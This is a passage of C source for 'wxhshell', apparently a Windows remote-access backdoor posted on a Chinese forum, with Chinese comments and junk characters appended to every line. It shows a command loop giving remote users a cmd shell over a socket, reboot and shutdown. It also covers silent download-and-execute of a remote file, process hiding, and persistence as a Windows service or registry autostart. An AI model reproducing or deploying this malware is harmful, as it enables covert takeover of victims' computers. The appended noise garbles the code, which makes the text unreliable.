  Jv i#)  
  // 帮助 rZF*q2?  
  case '?': { :t[_:3@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KP"+e:a%  
    break; Rv=YFo[B  
  } ;,TFr}p`  
  // 安装 \8 ":]EU  
  case 'i': { Kgv T"s.  
    if(Install()) %$I;{-LD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rUl+  
    else %*U'@r(A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pI[uUu7O  
    break; phK/   
    } d1*<Ll9K  
  // 卸载 ebq4g387X  
  case 'r': { ;*N5Y}?j'  
    if(Uninstall()) ),)lzN%!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <GJbmRc|  
    else m[$_7a5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bwrx*J  
    break; /{[o ~:'p  
    } mR~&)QBP.  
  // 显示 wxhshell 所在路径 : +u]S2u{  
  case 'p': { %)|s1B'd  
    char svExeFile[MAX_PATH]; yX5\gO6G  
    strcpy(svExeFile,"\n\r"); FlQGg VN  
      strcat(svExeFile,ExeFile); L-Lvp%%  
        send(wsh,svExeFile,strlen(svExeFile),0); >usL*b0%  
    break; =v\.h=~~  
    } LscGTs,  
  // 重启 5s XXM  
  case 'b': { 5tnlrqC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i1085ztN  
    if(Boot(REBOOT)) H::bwn`Vc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CAlCDfKW}  
    else { @d_M@\r=j  
    closesocket(wsh); KXrjqqXs  
    ExitThread(0); i@q&5;%%  
    } )_:NLo:  
    break; 1cDF!X]  
    } ~rm_vo  
  // 关机 /xQTxh1;K  
  case 'd': { NRuNKl.v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TrNF=x>  
    if(Boot(SHUTDOWN)) hb-%_c"kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$7 +;I;  
    else { ~,Qp^"rlW  
    closesocket(wsh); E$e5^G9  
    ExitThread(0); >_TZ'FT  
    } Om<a<q  
    break; rA1._   
    } "7 yD0T)2  
  // 获取shell yu|>t4#GT  
  case 's': { TvM~y\s  
    CmdShell(wsh); 2eogY#  
    closesocket(wsh); q)GdD==  
    ExitThread(0); maZ)cW?  
    break; K}y f>'O  
  } xo)P?-  
  // 退出 [UR-I0 s!/  
  case 'x': { @iiT<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _aphkeqd  
    CloseIt(wsh); xk5 ]^yDp  
    break; _{>vTBU4F  
    } wL1MENzp*z  
  // 离开 4| f*eO  
  case 'q': { =M1I>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {:s f7  
    closesocket(wsh); qK+5NF|  
    WSACleanup(); Sdo-nt  
    exit(1); s"|Pdc4  
    break; V#HuIgf-  
        } im8CmQ  
  } B~mj 8l4  
  } :s,Z<^5a)g  
~u{uZ(~  
  // 提示信息 SM '|+ d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0K+ne0I  
} do_[&  
  } 3$tdwe$S  
|)&%A%m  
  return; GyIV Hby  
} (Z*!#}z`  
H\ %7%  
// shell模块句柄 f3;5Am  
int CmdShell(SOCKET sock) 1oS/`)  
{ #WuBL_nZ~  
STARTUPINFO si; `uFdwO'DD  
ZeroMemory(&si,sizeof(si)); pmM9,6P4@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }C:r 9? T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H|*m$| $,  
PROCESS_INFORMATION ProcessInfo; 4 5e~6",  
char cmdline[]="cmd"; a#4?cEy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hz~zu{;{J  
  return 0; do%&m]#;  
} |>Vb9:q9Po  
_-D{-Bu#  
// 自身启动模式 sx%[=g+<2(  
int StartFromService(void) w(/S?d  
{ 8y L Y  
typedef struct 3mgD(,(^  
{ H)?z #x  
  DWORD ExitStatus; h\o.&6sd  
  DWORD PebBaseAddress; j^'go&p  
  DWORD AffinityMask; 8Wx=p#_  
  DWORD BasePriority; %{|pj +  
  ULONG UniqueProcessId; \<' ?8ri#  
  ULONG InheritedFromUniqueProcessId; L#J1b!D&<6  
}   PROCESS_BASIC_INFORMATION; fl(wV.Je|  
\Z/@C lCm  
PROCNTQSIP NtQueryInformationProcess; s#11FfF`  
*T/']t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wc#24:OKe3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +2{Lh7Ks  
wz%-%39q%  
  HANDLE             hProcess; qna8|3eP  
  PROCESS_BASIC_INFORMATION pbi; Nc`L;CP  
L_T5nD^D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  )2.Si#  
  if(NULL == hInst ) return 0; WE?5ehEme  
xEI%D|)<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0;k# *#w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3n _htgcv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); siI;"?  
{.yB'.k?  
  if (!NtQueryInformationProcess) return 0; {mg2pfhB!  
*pq\MiD/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QV!up^Zso  
  if(!hProcess) return 0; 2ESo2  
>A= f 1DF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r; {.%s7  
Ew N}l  
  CloseHandle(hProcess); aOp\91  
wT@og|M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #mF"1QW  
if(hProcess==NULL) return 0; K-4PI+qQ\  
_b 0& !l<  
HMODULE hMod; 6Oq 7#3]  
char procName[255]; HfVZ~PP  
unsigned long cbNeeded; F%|h;+5  
mt .sucT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }7Uoh(d  
lN@o2QX  
  CloseHandle(hProcess); ^c|/*u  
iTwm3V P  
if(strstr(procName,"services")) return 1; // 以服务启动 ;pAK_>  
GOPfXtkC  
  return 0; // 注册表启动 ;p//QJB9  
} _)8s'MjA:&  
jp,4h4C^)  
// 主模块 K0~rN.C!0  
int StartWxhshell(LPSTR lpCmdLine) 9w"*y#_  
{ OXA7w.^  
  SOCKET wsl; *wearCPeJ  
BOOL val=TRUE; 8LKiS  
  int port=0; 8tL~FiHb"  
  struct sockaddr_in door; N7"W{"3D  
L0,'mS  
  if(wscfg.ws_autoins) Install(); 2G7Wi!J  
&d!GImcxQ  
port=atoi(lpCmdLine); >Tgv11[  
f|5co>Hk  
if(port<=0) port=wscfg.ws_port; qX%_uOw:%  
c{|p.hd  
  WSADATA data; $FVNCFN%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I9Xuok!0>=  
ye&;(30Oq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9*g Z-#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jA1 +x:Wq  
  door.sin_family = AF_INET; -n 1 v3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P:c w|Q  
  door.sin_port = htons(port); M3\AY30L  
54 T`OE =  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /m1\iM\  
closesocket(wsl); zX[U~.  
return 1; ';CNGv -  
} 0mE 0 j  
Ud?Q%) X  
  if(listen(wsl,2) == INVALID_SOCKET) { ^qs $v06  
closesocket(wsl); tQ)qCk07  
return 1; _6Sp QW  
} B\~}3!j  
  Wxhshell(wsl); /uflpV|  
  WSACleanup(); |Cv!,]9:r  
( .:e,l{U%  
return 0; y[;>#j$  
l?e.9o2-  
} N~Jda o  
r!v\"6:OM  
// 以NT服务方式启动 D.:Zx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?,z}%p  
{ $Sq:q0  
DWORD   status = 0; wk^B"+Uhy  
  DWORD   specificError = 0xfffffff; IGl9 g_18  
M`_0C38  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HMXE$d=[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BmT!aue  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i!Ba]n   
  serviceStatus.dwWin32ExitCode     = 0; Gc?a+T  
  serviceStatus.dwServiceSpecificExitCode = 0; _BufO7 `.  
  serviceStatus.dwCheckPoint       = 0; K(4_a``05  
  serviceStatus.dwWaitHint       = 0; 5BIY<B+i  
U^PgG|0N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dtDFoETz  
  if (hServiceStatusHandle==0) return; /ZX }Nc g  
'1[Ft03  
status = GetLastError(); cAw/I@jG  
  if (status!=NO_ERROR) =;L|gtH"  
{ 4W75T2q#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2 ?C)&  
    serviceStatus.dwCheckPoint       = 0; wYea\^co  
    serviceStatus.dwWaitHint       = 0;  mh%VrA q  
    serviceStatus.dwWin32ExitCode     = status; z{q`GwW  
    serviceStatus.dwServiceSpecificExitCode = specificError; $4\j]RE!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *. t^MP  
    return; W?& %x(6M  
  } tQVVhXQ7  
^iA9%zp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7V>M]  
  serviceStatus.dwCheckPoint       = 0; X w1*(ffk  
  serviceStatus.dwWaitHint       = 0; *~`(RV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h[ ZN+M  
} kJU2C=m@e2  
 " bG2:  
// 处理NT服务事件,比如:启动、停止 PT ~D",k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G@0&8  
{ V`5 O{Gg  
switch(fdwControl) +@UV?"d  
{ t20K!}D_  
case SERVICE_CONTROL_STOP: TeQV?ZQ#}  
  serviceStatus.dwWin32ExitCode = 0; xdPx{"C 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DU^loB+  
  serviceStatus.dwCheckPoint   = 0; P?<y%c<  
  serviceStatus.dwWaitHint     = 0; 7<4qQ.deE  
  { XW/o<[91  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); crCJrN=  
  } \8tsDG(1 '  
  return; #yen8SskB  
case SERVICE_CONTROL_PAUSE: ]e3Ax(i)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iZ%yd-  
  break; ooGM$U  
case SERVICE_CONTROL_CONTINUE: [ ~,AfY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x-c"%Z|  
  break; M|-)GvR$J  
case SERVICE_CONTROL_INTERROGATE: ICCc./l|  
  break; M5B# TAybC  
}; pAEx#ck  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G$PE}%X  
} k)u[0}   
=Qq+4F)MD  
// 标准应用程序主函数 Xj*Wu_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hZ3bVi)L\  
{ 5;?yCWc  
2 c}E(8e]  
// 获取操作系统版本 Rcv9mj]l  
OsIsNt=GetOsVer(); 58K5ZZG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RSds8\tk  
)jj0^f1!j  
  // 从命令行安装 J,G lIv.A  
  if(strpbrk(lpCmdLine,"iI")) Install(); QJNFA}*>  
mOSv9w#,  
  // 下载执行文件 4Hg9N}  
if(wscfg.ws_downexe) { kza5ab  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V]&\fk-{  
  WinExec(wscfg.ws_filenam,SW_HIDE); R]dg_Da  
} ^aQ"E9  
g}i61(  
if(!OsIsNt) { PH"%kCI:  
// 如果时win9x,隐藏进程并且设置为注册表启动 $( )>g>%  
HideProc(); ?"FbsMk.d  
StartWxhshell(lpCmdLine); V :eD]zq5  
} =43auFY-P  
else @o^Ww  
  if(StartFromService()) ;jPXs  
  // 以服务方式启动 e )ZUO_Q$  
  StartServiceCtrlDispatcher(DispatchTable); AGno6g  
else Q\)F;:|  
  // 普通方式启动 p<2,=*2  
  StartWxhshell(lpCmdLine); *"kM{*3:v  
.pq%?&  
return 0; E4!Fupkpf  
}
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只看该作者 1 发表于: 2006-10-10
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